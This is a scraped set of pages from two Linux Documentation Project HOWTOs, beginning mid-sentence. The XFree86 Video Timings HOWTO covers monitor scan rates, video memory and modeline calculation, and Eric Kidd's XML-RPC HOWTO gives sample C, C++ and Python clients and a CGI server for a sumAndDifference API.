Therefore, the information in the remainder of this HOWTO is useful only if (a) you have an old, pre-EDID monitor, or (b) your graphics-card driver doesn't support querying the monitor, or (c) you are running an old version of XFree86 (in which case, you should fix your problem by upgrading), or (d) your monitor/card combination can support a resolution above 1920 x 1440 or below 640 x 480, which is the range over which XFree86 has canned modelines.

Prev | Home | Next
Disclaimer |  | Introduction


Overdriving Your Monitor

XFree86 Video Timings HOWTO
Prev Next

13. Overdriving Your Monitor

You should absolutely not try exceeding your monitor's scan rates if it's a fixed-frequency type. You can smoke your hardware doing this! There are potentially subtler problems with overdriving a multisync monitor which you should be aware of.

Having a pixel clock higher than the monitor's maximum bandwidth is rather harmless, in contrast. It's exceeding the rated maximum sync frequencies that's problematic. Some modern monitors might have protection circuitry that shuts the monitor down at dangerous scan rates, but don't rely on it. In particular there are older multisync monitors (like the Multisync II) which use just one horizontal transformer. These monitors will not have much protection against overdriving them. While you necessarily have high voltage regulation circuitry (which can be absent in fixed frequency monitors), it will not necessarily cover every conceivable frequency range, especially in cheaper models. This not only implies more wear on the circuitry, it can also cause the screen phosphors to age faster, and cause more than the specified radiation (including X-rays) to be emitted from the monitor.

However, the basic problematic magnitude in question here is the slew rate (the steepness of the video signals) of the video output drivers, and that is usually independent of the actual pixel frequency, but (if your board manufacturer cares about such problems) related to the maximum pixel frequency of the board.

So be careful out there...

Prev | Home | Next
Putting it All Together |  | Using Interlaced Modes


Memory Requirements

XFree86 Video Timings HOWTO
Prev Next

9. Memory Requirements

Available frame-buffer RAM may limit the resolution you can achieve on color or gray-scale displays. It probably isn't a factor on displays that have only two colors, white and black with no shades of gray in between.

For 256-color displays, a byte of video memory is required for each visible dot to be shown. This byte contains the information that determines what mix of red, green, and blue is generated for its dot. To get the amount of memory required, multiply the number of visible dots per line by the number of visible lines. For a display with a resolution of 1024x768, this would be 1024 x 768 = 786432, which is the number of visible dots on the display. This is also, at one byte per dot, the number of bytes of video memory that will be necessary on your adapter card.

Thus, your memory requirement will typically be (HR * VR)/1024 Kbytes of VRAM, rounded up (it would come to 768K exactly in this example). If you have more memory than strictly required, you'll have extra for virtual-screen panning.

However, if you only have 512K on board yor video card, then you won't be able to use this resolution. Even if you have a good monitor, without enough video RAM, you can't take advantage of your monitor's potential. On the other hand, if your SVGA has one meg, but your monitor can display at most 800x600, then high resolution is beyond your reach anyway (see Using Interlaced Modes for a possible remedy).

Don't worry if you have more memory than required; XFree86 will make use of it by allowing you to scroll your viewable area (see the Xconfig file documentation on the virtual screen size parameter). Remember also that a card with 512K bytes of memory really doesn't have 512,000 bytes installed, it has 512 x 1024 = 524,288 bytes.

If you're running X/Inside using an S3 card, and are willing to live with 16 colors (4 bits per pixel), you can set depth 4 in Xconfig and effectively double the resolution your card can handle. S3 cards, for example, normally do 1024x768x256. You can make them do 1280x1024x16 with depth 4.

Prev | Home | Next
Tradeoffs in Configuring your System |  | Computing Frame Sizes


Interpreting the Basic Specifications

XFree86 Video Timings HOWTO
Prev Next

7. Interpreting the Basic Specifications

This section explains what the specifications above mean, and some other things you'll need to know. First, some definitions. Next to each in parentheses is the variable name we'll use for it when doing calculations

horizontal sync frequency (HSF)

Horizontal scans per second (see above).

vertical sync frequency (VSF)

Vertical scans per second (see above). Mainly important as the upper limit on your refresh rate.

dot clock (DCF)

More formally, `driving clock frequency'; The frequency of the crystal or VCO on your adaptor --- the maximum dots-per-second it can emit.

video bandwidth (VB)

The highest frequency you can feed into your monitor's video input and still expect to see anything discernible. If your adaptor produces an alternating on/off pattern (as in an interlaced mode), its lowest frequency is half the DCF, so in theory bandwidth starts making sense at DCF/2. For tolerately crisp display of fine details in the video image, however, you don't want it much below your highest DCF, and preferably higher.

frame length (HFL, VFL)

Horizontal frame length (HFL) is the number of dot-clock ticks needed for your monitor's electron gun to scan one horizontal line, including the inactive left and right borders. Vertical frame length (VFL) is the number of scan lines in the entire image, including the inactive top and bottom borders.

screen refresh rate (RR)

The number of times per second your screen is repainted (this is also called "frame rate"). Higher frequencies are better, as they reduce flicker. 60Hz is good, VESA-standard 72Hz is better. Compute it as

    RR = DCF / (HFL * VFL)

Note that the product in the denominator is not the same as the monitor's visible resolution, but typically somewhat larger. We'll get to the details of this below.

The rates for which interlaced modes are usually specified (like 87Hz interlaced) are actually the half-frame rates: an entire screen seems to have about that flicker frequency for typical displays, but every single line is refreshed only half as often.

For calculation purposes we reckon an interlaced display at its full-frame (refresh) rate, i.e. 43.5Hz. The quality of an interlaced mode is better than that of a non-interlaced mode with the same full-frame rate, but definitely worse than the non-interlaced one corresponding to the half-frame rate.

7.1. About Bandwidth

Monitor makers like to advertise high bandwidth because it constrains the sharpness of intensity and color changes on the screen. A high bandwidth means smaller visible details.

Your monitor uses electronic signals to present an image to your eyes. Such signals always come in in wave form once they are converted into analog form from digitized form. They can be considered as combinations of many simpler wave forms each one of which has a fixed frequency, many of them are in the Mhz range, eg, 20Mhz, 40Mhz, or even 70Mhz. Your monitor video bandwidth is, effectively, the highest-frequency analog signal it can handle without distortion.

For our purposes, video bandwidth is mainly important as an approximate cutoff point for the highest dot clock you can use.

7.2. Sync Frequencies and the Refresh Rate:

Each horizontal scan line on the display is just the visible portion of a frame-length scan. At any instant there is actually only one dot active on the screen, but with a fast enough refresh rate your eye's persistence of vision enables you to "see" the whole image.

Here are some pictures to help:

     _______________________
    |                       |     The horizontal sync frequency
    |->->->->->->->->->->-> |     is the number of times per
    |                      )|     second that the monitor's
    |<-----<-----<-----<--- |     electron beam can trace
    |                       |     a pattern like this
    |                       |
    |                       |
    |                       |
    |_______________________|
     _______________________
    |        ^              |     The vertical sync frequency
    |       ^ |             |     is the number of times per
    |       | v             |     second that the monitor's
    |       ^ |             |     electron beam can trace
    |       | |             |     a pattern like this
    |       ^ |             |
    |       | v             |
    |       ^ |             |
    |_______|_v_____________|

Remember that the actual raster scan is a very tight zigzag pattern; that is, the beam moves left-right and at the same time up-down.

Now we can see how the dot clock and frame size relates to refresh rate. By definition, one hertz (hz) is one cycle per second. So, if your horizontal frame length is HFL and your vertical frame length is VFL, then to cover the entire screen takes (HFL * VFL) ticks. Since your card emits DCF ticks per second by definition, then obviously your monitor's electron gun(s) can sweep the screen from left to right and back and from bottom to top and back DCF / (HFL * VFL) times/sec. This is your screen's refresh rate, because it's how many times your screen can be updated (thus refreshed) per second!

You need to understand this concept to design a configuration which trades off resolution against flicker in whatever way suits your needs.

For those of you who handle visuals better than text, here is one:

        RR                                      VB
         |   min HSF                     max HSF |
         |    |             R1        R2  |      |
max VSF -+----|------------/----------/---|------+----- max VSF
         |    |:::::::::::/::::::::::/:::::\     |
         |    \::::::::::/::::::::::/:::::::\    |
         |     |::::::::/::::::::::/:::::::::|   |
         |     |:::::::/::::::::::/::::::::::\   |
         |     \::::::/::::::::::/::::::::::::\  |
         |      \::::/::::::::::/::::::::::::::| |
         |       |::/::::::::::/:::::::::::::::| |
         |        \/::::::::::/:::::::::::::::::\|
         |        /\:::::::::/:::::::::::::::::::|
         |       /  \:::::::/::::::::::::::::::::|\
         |      /    |:::::/:::::::::::::::::::::| |
         |     /     \::::/::::::::::::::::::::::| \
min VSF -+----/-------\--/-----------------------|--\--- min VSF
         |   /         \/                        |   \
         +--/----------/\------------------------+----\- DCF
           R1        R2  \                       |     \
                          min HSF                |    max HSF
                                                 VB

This is a generic monitor mode diagram. The x axis of the diagram shows the clock rate (DCF), the y axis represents the refresh rate (RR). The filled region of the diagram describes the monitor's capabilities: every point within this region is a possible video mode.

The lines labeled `R1' and `R2' represent a fixed resolutions (such as 640x480); they are meant to illustrate how one resolution can be realized by many different combinations of dot clock and refresh rate. The R2 line would represent a higher resolution than R1.

The top and bottom boundaries of the permitted region are simply horizontal lines representing the limiting values for the vertical sync frequency. The video bandwidth is an upper limit to the clock rate and hence is represented by a vertical line bounding the capability region on the right.

Under Plotting Monitor Capabilities you'll find a program that will help you plot a diagram like this (but much nicer, with X graphics) for your individual monitor. That section also discusses the interesting part; the derivation of the boundaries resulting from the limits on the horizontal sync frequency.

Prev | Home | Next
Basic Things to Know about your Display and Adapter |  | Tradeoffs in Configuring your System


Putting it All Together

XFree86 Video Timings HOWTO
Prev Next

12. Putting it All Together

The Xconfig file Table of Video Modes contains lines of numbers, with each line being a complete specification for one mode of X-server operation. The fields are grouped into four sections, the name section, the clock frequency section, the horizontal section, and the vertical section.

The name section contains one field, the name of the video mode specified by the rest of the line. This name is referred to on the "Modes" line of the Graphics Driver Setup section of the Xconfig file. The name field may be omitted if the name of a previous line is the same as the current line.

The dot clock section contains only the dot clock (what we've called DCF) field of the video mode line. The number in this field specifies what dot clock was used to generate the numbers in the following sections.

The horizontal section consists of four fields which specify how each horizontal line on the display is to be generated. The first field of the section contains the number of dots per line which will be illuminated to form the picture (what we've called HR). The second field of the section (SH1) indicates at which dot the horizontal sync pulse will begin. The third field (SH2) indicates at which dot the horizontal sync pulse will end. The fourth field specifies the toal horzontal frame length (HFL).

The vertical section also contains four fields. The first field contains the number of visible lines which will appear on the display (VR). The second field (SV1) indicates the line number at which the vertical sync pulse will begin. The third field (SV2) specifies the line number at which the vertical sync pulse will end. The fourth field contains the total vertical frame length (VFL).

Example:

     #Modename    clock  horizontal timing  vertical timing

     "752x564"     40    752 784  944 1088  564 567 569 611
               44.5  752 792  976 1240  564 567 570 600

(Note: stock X11R5 doesn't support fractional dot clocks.)

For Xconfig, all of the numbers just mentioned - the number of illuminated dots on the line, the number of dots separating the illuminated dots from the beginning of the sync pulse, the number of dots representing the duration of the pulse, and the number of dots after the end of the sync pulse - are added to produce the number of dots per line. The number of horizontal dots must be evenly divisible by eight.

Example horizontal numbers: 800 864 1024 1088

This sample line has the number of illuminated dots (800) followed by the number of the dot when the sync pulse starts (864), followed by the number of the dot when the sync pulse ends (1024), followed by the number of the last dot on the horizontal line (1088).

Note again that all of the horizontal numbers (800, 864, 1024, and 1088) are divisible by eight! This is not required of the vertical numbers.

The number of lines from the top of the display to the bottom form the frame. The basic timing signal for a frame is the line. A number of lines will contain the picture. After the last illuminated line has been displayed, a delay of a number of lines will occur before the vertical sync pulse is generated. Then the sync pulse will last for a few lines, and finally the last lines in the frame, the delay required after the pulse, will be generated. The numbers that specify this mode of operation are entered in a manner similar to the following example.

Example vertical numbers: 600 603 609 630

This example indicates that there are 600 visible lines on the display, that the vertical sync pulse starts with the 603rd line and ends with the 609th, and that there are 630 total lines being used.

Note that the vertical numbers don't have to be divisible by eight!

Let's return to the example we've been working. According to the above, all we need to do from now on is to write our result into Xconfig as follows:

<name>   DCF     HR  SH1 SH2   HFL   VR  SV1 SV2 VFL

where SH1 is the start tick of the horizontal sync pulse and SH2 is its end tick; similarly, SV1 is the start tick of the vertical sync pulse and SV2 is its end tick.

To place these, recall the discussion of black magic and sync
pulses given above.  SH1 is the dot that begins the leading edge of
the horiziontal sync pulse; thus, SH1 = HR + HGT1.  SH2 is the
trailing edge; thus, SH2 = SH1 + HSP.  Similarly, SV1 = VR + VGT (but
VGT is usually zero) and SV2 = SV1 + VSP.

#name    clock   horizontal timing   vertical timing    flag
936x702  65      936 968 1200 1232   702 702 710 737

No special flag necessary; this is a non-interlaced mode. Now we are really done.

Prev | Home | Next
Black Magic and Sync Pulses |  | Overdriving Your Monitor


Tools for Automatic Computation

XFree86 Video Timings HOWTO
Prev Next

4. Tools for Automatic Computation

If your monitor was made after 1996, it probably supports the EDID specification. EDID-capable monitors (sometimes called "Plug'n'Play" monitors in Microsoft marketing literature) can report their capabilities to your computer.

Many driver modules in XFree86 4.0 support DDC, the VESA Display Data Channel facility. A DDC-enabled graphics-card module will ask the monitor to hand it an EDID capability description and configure itself from that data. So with 4.0 and any recent monitor, you are likely not to have to do any configuration at all.

If your graphics-card module happens not to be DDC-enabled but your monitor speaks EDID, you can still use the read-edid program to ask the monitor for its statistics and compute a mode line for you. See http://altern.org/vii/programs/linux/read-edid/.

Starting with XFree86 3.2, XFree86 provided an XF86Setup program that makes it easy to generate a working monitor mode interactively, without messing with video timing numbers directly. So you shouldn't actually need to calculate a base monitor mode in most cases. Unfortunately, XF86Setup has some limitations; it only knows about standard video modes up to 1280x1024. If you have a very high-performance monitor capable of 1600x1200 or more you will still have to compute your base monitor mode yourself.

There is a KDE tool called KVideoGen that computes modelines from basic monitor and card statistics. I've experimented with generating modelines from it, but haven't tried them in live use. Note that its horizontal and vertical `refresh rate' parameters are the same as the sync frequencies HSF and VSF we describe below. The `horizontal sync pulse' number seems to be a sync pulse width in microseconds, HSP (with the tool assuming fixed `front porch' HGT1 and `back porch' HGT2 values). If you don't know the `horizontal sync pulse' number it's safe to use the default.

Another XFree86 modeline generator lives here. You can either download the Python script or use the CGI form provided.

Recent versions of XFree86 provide a tool called xvidtune which you will probably find quite useful for testing and tuning monitor modes. It begins with a gruesome warning about the possible consequences of mistakes with it. If you pay careful attention to this document and learn what is behind the pretty numbers in xvidtune's boxes, you will become able to use xvidtune effectively and with confidence.

If you have xvidtune(1), you'll be able to test new modes on the fly, without modifying your X configuration files or even rebooting your X server. Otherwise, XFree86 allows you to hot-key between different modes defined in Xconfig (see XFree86.man for details). Use this capabilty to save yourself hassles! When you want to test a new mode, give it a unique mode label and add it to the end of your hot-key list. Leave a known-good mode as the default to fall back on if the test mode doesn't work.

Towards the end of this document, we include a `modeplot' script that you can use to produce an analog graph of available modes. This is not directly helpful for generating modelines, but it may help you better understand the relationships that define them.

Prev | Home | Next
Introduction |  | How Video Displays Work


Tradeoffs in Configuring your System

XFree86 Video Timings HOWTO
Prev Next

8. Tradeoffs in Configuring your System

Another way to look at the formula we derived above is

    DCF = RR * HFL * VFL

That is, your dot clock is fixed. You can use those dots per second to buy either refresh rate, horizontal resolution, or vertical resolution. If one of those increases, one or both of the others must decrease.

Note, though, that your refresh rate cannot be greater than the maximum vertical sync frequency of your monitor. Thus, for any given monitor at a given dot clock, there is a minimum product of frame lengths below which you can't force it.

In choosing your settings, remember: if you set RR too low, you will get mugged by screen flicker. Keep it above 60Hz. 72Hz is the VESA ergonomic standard. 120Hz is the flicker rate of fluorescent lights in the U.S. (100MHz is Europe and other places with 50-cycle current); if you're sensitive to those, you need to keep it above that.

Flicker is very eye-fatiguing, though human eyes are adaptable and peoples' tolerance for it varies widely. If you face your monitor at a 90% viewing angle, are using a dark background and a good contrasting color for foreground, and stick with low to medium intensity, you *may* be comfortable at as little as 45Hz.

The acid test is this: open a xterm with pure white back-ground and black foreground using xterm -bg white -fg black and make it so large as to cover the entire viewable area. Now turn your monitor's intensity to 3/4 of its maximum setting, and turn your face away from the monitor. Try peeking at your monitor sideways (bringing the more sensitive peripheral-vision cells into play). If you don't sense any flicker or if you feel the flickering is tolerable, then that refresh rate is fine with you. Otherwise you better configure a higher refresh rate, because that semi-invisible flicker is going to fatigue your eyes like crazy and give you headaches, even if the screen looks OK to normal vision.

For interlaced modes, the amount of flicker depends on more factors such as the current vertical resolution and the actual screen contents. So just experiment. You won't want to go much below about 85Hz half frame rate, though.

So let's say you've picked a minimum acceptable refresh rate. In choosing your HFL and VFL, you'll have some room for maneuver.

Prev | Home | Next
Interpreting the Basic Specifications |  | Memory Requirements


How Video Displays Work

XFree86 Video Timings HOWTO
Prev Next

5. How Video Displays Work

Knowing how the display works is essential to understanding what numbers to put in the various fields in the file Xconfig. Those values are used in the lowest levels of controlling the display by the XFree86 server.

The display generates a picture from what you could consider to be a series of raster dots. The dots are arranged from left to right to form lines. The lines are arranged from top to bottom to form the picture. The dots emit light when they are struck by the electron beams inside the display, one for each primary color. To make the beams strike each dot for an equal amount of time, the beams are swept across the display in a constant pattern, called a raster.

We say "what you could consider to be a series of dots" because these raster dots don't actually correspond to physical phosphor dots. The physical phosphor dots are much smaller than raster dots -- they have to be, otherwise the display would suffer from severe moiré-pattern effects. The raster dots are really samples of the analog driver signal, and display as a grid of dots only because the peaks and valleys in the signal are quite regularly and finely spaced.

The pattern starts at the top left of the screen, goes across the screen to the right in a straight line, moving ever so slightly "downhill" (the downhill slope is too small to be perceptible). Then the beams are swept back to the left side of the display, starting at a new line. The new line is swept from left to right just as the first line was. This pattern is repeated until the bottom line on the display has been swept. Then the beams are moved from the bottom right corner of the display (sweeping back and forth a few times) to the top left corner, and the pattern is started over again.

There is one variation of this scheme known as interlacing: here only every second line is swept during one half-frame and the others are filled in during a second half-frame.

Starting the beams at the top left of the display is called the beginning of a frame. The frame ends when the beams reach the the top left corner again as they come from the bottom right corner of the display. A frame is made up of all of the lines the beams traced from the top of the display to the bottom.

If the electron beams were on all of the time they were sweeping through the frame, all of the dots on the display would be illuminated. There would be no black border around the edges of the display. At the edges of the display the picture would become distorted because the beams are hard to control there. To reduce the distortion, the dots around the edges of the display are not illuminated by the beams (because they're turned off) even though the beams, if they were turned on, would be pointing at them. The viewable area of the display is reduced this way.

Another important thing to understand is what becomes of the beams when no spot is being painted on the visible area. The time the beams would have been illuminating the side borders of the display is used for sweeping the beams back from the right edge to the left. The time the beams would have been illuminating the top and bottom borders of the display is used for moving the beams from the bottom-right corner of the display to the top-left corner.

The adapter card generates the signals which cause the display to turn on the electron beams (according to the desired color) at each dot to generate a picture. The card also controls when the display moves the beams from the right side back to the left by generating a signal called the horizontal sync (for synchronization) pulse. One horizontal sync pulse occurs at the end of every line. The adapter also generates a vertical sync pulse which signals the display to move the beams to the top-left corner of the display. A vertical sync pulse is generated near the end of every frame.

The display requires that there be short time periods both before and after the horizontal and vertical sync pulses so that the position of the electron beams can stabilize. If the beams can't stabilize, the picture will not be steady.

For more information, see TV and Monitor Deflection Systems.

In a later section, we'll come back to these basics with definitions, formulas and examples to help you use them.

Prev | Home | Next
Tools for Automatic Computation |  | Basic Things to Know about your Display and Adapter


XML-RPC HOWTO

Eric Kidd

Source Builders

eric.kidd@pobox.com

And Other Contributors

Copyright © 2001 by Eric Kidd

0.8.0, 2001-04-12

Revision History
Revision 0.8.0 | 2001-04-12
Updated section on common interfaces. Added pointer to XML-RPC.Net information.
Revision 0.7.0 | 2001-04-03
Added section on C++ proxy classes.
Revision 0.6.0 | 2001-02-02
Added sections on Ruby, K and common interfaces.
Revision 0.5.0 | 2001-01-23
Initial version.

Describes how to use XML-RPC to implement clients and servers in a variety of languages. Provides example code in Perl, Python, C, C++, Java, PHP and other languages. Includes sections on Zope and KDE 2.0. Applies to all operating systems with XML-RPC support.

Table of Contents
1. Legal Notice
2. What is XML-RPC?
2.1. How it Works
2.2. Supported Data Types
2.3. The History of XML-RPC
3. XML-RPC vs. Other Protocols
3.1. XML-RPC vs. CORBA
3.2. XML-RPC vs. DCOM
3.3. XML-RPC vs. SOAP
4. Common XML-RPC Interfaces
4.1. Introspection: Discovering Server APIs
4.2. Boxcarring: Sending Multiple Requests at Once
5. A Sample API: sumAndDifference
6. Using XML-RPC with Perl
6.1. A Perl Client
6.2. A Stand-Alone Perl Server
6.3. A CGI-Based Perl Server
7. Using XML-RPC with Python
7.1. A Python Client
8. Using XML-RPC with C and C++
8.1. A C Client
8.2. A C++ Client
8.3. A C++ Client with Proxy Classes
8.4. A CGI-Based C Server
9. Using XML-RPC with Java
9.1. A Java Client
9.2. A Stand-Alone Java Server
10. Using XML-RPC with PHP
10.1. A PHP Client
10.2. A PHP Server
11. Using XML-RPC with Microsoft .NET
12. Using XML-RPC with Ruby
12.1. A Ruby Client
12.2. A Ruby Server
13. Using XML-RPC with Proprietary Languages
13.1. Using XML-RPC with K
14. Applications with Built-in XML-RPC Support
14.1. Zope
14.2. KDE 2.0
15. About This Document
15.1. New Versions of This Document
15.2. Contributors to the XML-RPC HOWTO
15.3. Submitting Other Snippets
Next
Legal Notice


About This Document

XML-RPC HOWTO
Prev

15. About This Document

This document is part of the Linux Documentation Project. Thanks go to Dave Winer and maintainers of all the various XML-RPC libraries.

15.1. New Versions of This Document

New versions of this document are available at the Linux Documentation Project website.

They also provide this manual in alternate formats, including PDF, gzipped HTML and ASCII text.

15.2. Contributors to the XML-RPC HOWTO

The section on Ruby was contributed by Michael Neumann (neumann AT s-direktnet DOT de). The section on K was contributed by Christian Langreiter (c DOT langreiter AT synerge DOT at).

These contributors are all credited at the beginning of their sections.

15.3. Submitting Other Snippets

If you have a sample client or server in another language or environment, we'd love to include it in this manual. To add a new entry, we need the following information:

  • The URL of the XML-RPC implementation used.

  • Installation instructions.

  • A complete, runnable program.

  • Compilation instructions, if applicable.

E-mail your example to the xmlrpc-c-devel mailing list or directly to Eric Kidd.

Thank you for your help!

Prev | Home
Applications with Built-in XML-RPC Support |


A Sample API: sumAndDifference

XML-RPC HOWTO
Prev Next

5. A Sample API: sumAndDifference

To demonstrate XML-RPC, we implement the following API in as many languages as possible.

struct sample.sumAndDifference (int x, int y)

This function takes two integers as arguments, and returns an XML-RPC <struct> containing two elements:

sum

The sum of the two integers.

difference

The difference between the two integers.

It's not very useful, but it makes a nice example. :-)

This function (and others) are available using the URL http://xmlrpc-c.sourceforge.net/api/sample.php. (This URL won't do anything in a browser; it requires an XML-RPC client.)

Prev | Home | Next
Common XML-RPC Interfaces |  | Using XML-RPC with Perl


Applications with Built-in XML-RPC Support

XML-RPC HOWTO
Prev Next

14. Applications with Built-in XML-RPC Support

Several popular Linux applications include support for XML-RPC. These have already been described elsewhere, so we mostly provide pointers to articles.

14.1. Zope

Articles on using XML-RPC with Zope are available elsewhere on the web:

  • XML-RPC Programming with Zope by Jon Udell

  • Zope XML-RPC at UserLand.Com

14.2. KDE 2.0

KDE 2.0 includes Kurt Ganroth's kxmlrpc daemon, which allows you to script KDE applications using XML-RPC.

Here's a short sample application in Python. It shows you how to connect to kxmlrpc, manipulate your KDE address book, and query the KDE trader.

If you have any other articles or example code, please see Section 15.3. We'd like to have more information on scripting KDE.

Prev | Home | Next
Using XML-RPC with Proprietary Languages |  | About This Document


Using XML-RPC with C and C++

XML-RPC HOWTO
Prev Next

8. Using XML-RPC with C and C++

To get a copy of XML-RPC for C/C++, see the xmlrpc-c website.

You can either download everything in RPM format, or you can build it from source.

8.1. A C Client

Save the following code in a file called getSumAndDifference.c:

#include <stdio.h>
#include <xmlrpc.h>
#include <xmlrpc_client.h>

#define NAME       "XML-RPC getSumAndDifference C Client"
#define VERSION    "0.1"
#define SERVER_URL "http://xmlrpc-c.sourceforge.net/api/sample.php"

void die_if_fault_occurred (xmlrpc_env *env)
{
    /* Check our error-handling environment for an XML-RPC fault. */
    if (env->fault_occurred) {
        fprintf(stderr, "XML-RPC Fault: %s (%d)\n",
                env->fault_string, env->fault_code);
        exit(1);
    }
}

int main (int argc, char** argv)
{
    xmlrpc_env env;
    xmlrpc_value *result;
    xmlrpc_int32 sum, difference;

    /* Start up our XML-RPC client library. */
    xmlrpc_client_init(XMLRPC_CLIENT_NO_FLAGS, NAME, VERSION);
    xmlrpc_env_init(&env);

    /* Call our XML-RPC server. */
    result = xmlrpc_client_call(&env, SERVER_URL,
                                "sample.sumAndDifference", "(ii)",
                                (xmlrpc_int32) 5,
                                (xmlrpc_int32) 3);
    die_if_fault_occurred(&env);

    /* Parse our result value. */
    xmlrpc_parse_value(&env, result, "{s:i,s:i,*}",
                       "sum", &sum,
                       "difference", &difference);
    die_if_fault_occurred(&env);

    /* Print out our sum and difference. */
    printf("Sum: %d, Difference: %d\n", (int) sum, (int) difference);

    /* Dispose of our result value. */
    xmlrpc_DECREF(result);

    /* Shutdown our XML-RPC client library. */
    xmlrpc_env_clean(&env);
    xmlrpc_client_cleanup();

    return 0;
}

To compile it, you can type:

bash$ CLIENT_CFLAGS=`xmlrpc-c-config libwww-client --cflags`
bash$ CLIENT_LIBS=`xmlrpc-c-config libwww-client --libs`
bash$ gcc $CLIENT_CFLAGS -o getSumAndDifference getSumAndDifference.c $CLIENT_LIBS

You may need to replace gcc with the name of your system's C compiler.

8.2. A C++ Client

Save the following code in a file called getSumAndDifference2.cc:

#include <iostream.h>
#include <XmlRpcCpp.h>

#define NAME       "XML-RPC getSumAndDifference C++ Client"
#define VERSION    "0.1"
#define SERVER_URL "http://xmlrpc-c.sourceforge.net/api/sample.php"

static void get_sum_and_difference () {

    // Build our parameter array.
    XmlRpcValue param_array = XmlRpcValue::makeArray();
    param_array.arrayAppendItem(XmlRpcValue::makeInt(5));
    param_array.arrayAppendItem(XmlRpcValue::makeInt(3));

    // Create an object to resprent the server, and make our call.
    XmlRpcClient server (SERVER_URL);
    XmlRpcValue result = server.call("sample.sumAndDifference", param_array);

    // Extract the sum and difference from our struct.
    XmlRpcValue::int32 sum = result.structGetValue("sum").getInt();
    XmlRpcValue::int32 diff = result.structGetValue("difference").getInt();

    cout << "Sum: " << sum << ", Difference: " << diff << endl;
}

int main (int argc, char **argv) {

    // Start up our client library.
    XmlRpcClient::Initialize(NAME, VERSION);

    // Call our client routine, and watch out for faults.
    try {
        get_sum_and_difference();
    } catch (XmlRpcFault& fault) {
        cerr << argv[0] << ": XML-RPC fault #" << fault.getFaultCode()
             << ": " << fault.getFaultString() << endl;
        XmlRpcClient::Terminate();
        exit(1);
    }

    // Shut down our client library.
    XmlRpcClient::Terminate();
    return 0;
}

To compile it, you can type:

bash$ CLIENT_CFLAGS=`xmlrpc-c-config c++ libwww-client --cflags`
bash$ CLIENT_LIBS=`xmlrpc-c-config c++ libwww-client --libs`
bash$ c++ $CLIENT_CFLAGS -o getSumAndDifference2 getSumAndDifference2.cc $CLIENT_LIBS

You'll need a reasonably modern C++ compiler for this to work.

8.3. A C++ Client with Proxy Classes

If your XML-RPC server supports the Introspection API, you can automatically generate C++ proxy classes for it. To generate a proxy class, type the following command and save the output to a file:

bash$ xml-rpc-api2cpp \
> http://xmlrpc-c.sourceforge.net/api/sample.php sample SampleProxy

This will generate a proxy class named SampleProxy containing wrappers for all the methods beginning with sample. You can edit this class in any fashion you'd like.

8.4. A CGI-Based C Server

Save the following code in a file called sumAndDifference.c:

#include <xmlrpc.h>
#include <xmlrpc_cgi.h>

xmlrpc_value *
sumAndDifference (xmlrpc_env *env, xmlrpc_value *param_array, void *user_data)
{
    xmlrpc_int32 x, y;

    /* Parse our argument array. */
    xmlrpc_parse_value(env, param_array, "(ii)", &x, &y);
    if (env->fault_occurred)
        return NULL;

    /* Return our result. */
    return xmlrpc_build_value(env, "{s:i,s:i}",
                              "sum", x + y,
                              "difference", x - y);
}

int main (int argc, char **argv)
{
    /* Set up our CGI library. */
    xmlrpc_cgi_init(XMLRPC_CGI_NO_FLAGS);

    /* Install our only method (with a method signature and a help string). */
    xmlrpc_cgi_add_method_w_doc("sample.sumAndDifference",
                                &sumAndDifference, NULL,
                                "S:ii", "Add and subtract two integers.");

    /* Call the appropriate method. */
    xmlrpc_cgi_process_call();

    /* Clean up our CGI library. */
    xmlrpc_cgi_cleanup();
}

To compile it, you can type:

bash$ CGI_CFLAGS=`xmlrpc-c-config cgi-server --cflags`
bash$ CGI_LIBS=`xmlrpc-c-config cgi-server --libs`
bash$ gcc $CGI_CFLAGS -o sumAndDifference.cgi sumAndDifference.c $CGI_LIBS

Once this is done, copy sumAndDifference.cgi into your webserver's cgi-bin directory.

Prev | Home | Next
Using XML-RPC with Python |  | Using XML-RPC with Java


XML-RPC vs. Other Protocols

XML-RPC HOWTO
Prev Next

3. XML-RPC vs. Other Protocols

XML-RPC is not the only way to make remote procedure calls. Other popular protocols include CORBA, DCOM and SOAP. Each of these protocols has advantages and disadvantages.

The opinions in the section are obviously biased; please take them with a grain of salt.

3.1. XML-RPC vs. CORBA

CORBA is a popular protocol for writing distributed, object-oriented applications. It's typically used in multi-tier enterprise applications. Recently, it's also been adopted by the Gnome project for interapplication communication.

CORBA is well-supported by many vendors and several free software projects. CORBA works well with Java and C++, and is available for many other languages. CORBA also provides an excellent interface definition language (IDL), allowing you to define readable, object-oriented APIs.

Unfortunately, CORBA is very complex. It has a steep learning curve, requires significant effort to implement, and requires fairly sophisticated clients. It's better-suited to enterprise and desktop applications than it is to distributed web applications.

3.2. XML-RPC vs. DCOM

DCOM is Microsoft's answer to CORBA. It's great if you're already using COM components, and you don't need to talk to non-Microsoft systems. Otherwise, it won't help you very much.

3.3. XML-RPC vs. SOAP

SOAP is very similar to XML-RPC. It, too, works by marshaling procedure calls over HTTP as XML documents. Unfortunately, SOAP appears to be suffering from specification creep.

SOAP was originally created as a collaboration between UserLand, DevelopMentor and Microsoft. The initial public release was basically XML-RPC with namespaces and longer element names. Since then, however, SOAP has been turned over a W3C working group.

Unfortunately, the working group has been adding a laundry-list of strange features to SOAP. As of the current writing, SOAP supports XML Schemas, enumerations, strange hybrids of structs and arrays, and custom types. At the same time, several aspects of SOAP are implementation defined.

Basically, if you like XML-RPC, but wish the protocol had more features, check out SOAP. :-)

Prev | Home | Next
What is XML-RPC? |  | Common XML-RPC Interfaces


Using XML-RPC with Microsoft .NET

XML-RPC HOWTO
Prev Next

11. Using XML-RPC with Microsoft .NET

Charles Cook is writing an excellent new chapter for this HOWTO. You can find a draft online. If that page disappears, look for a new version of the XML-RPC HOWTO at the Linux Documentation Project.

Prev | Home | Next
Using XML-RPC with PHP |  | Using XML-RPC with Ruby


Common XML-RPC Interfaces

XML-RPC HOWTO
Prev Next

4. Common XML-RPC Interfaces

Several XML-RPC servers provide built-in methods. These aren't part of XML-RPC itself, but they make handy add-ons.

4.1. Introspection: Discovering Server APIs

Edd Dumbill proposed the following set of methods:

array system.listMethods ()
string system.methodHelp (string methodName)
array system.methodSignature (string methodName)

If a server supports these methods, you can ask it to print out some documentation:

import xmlrpclib
server = xmlrpclib.Server("http://xmlrpc-c.sourceforge.net/api/sample.php")
for method in server.system.listMethods():
    print method
    print server.system.methodHelp(method)
    print

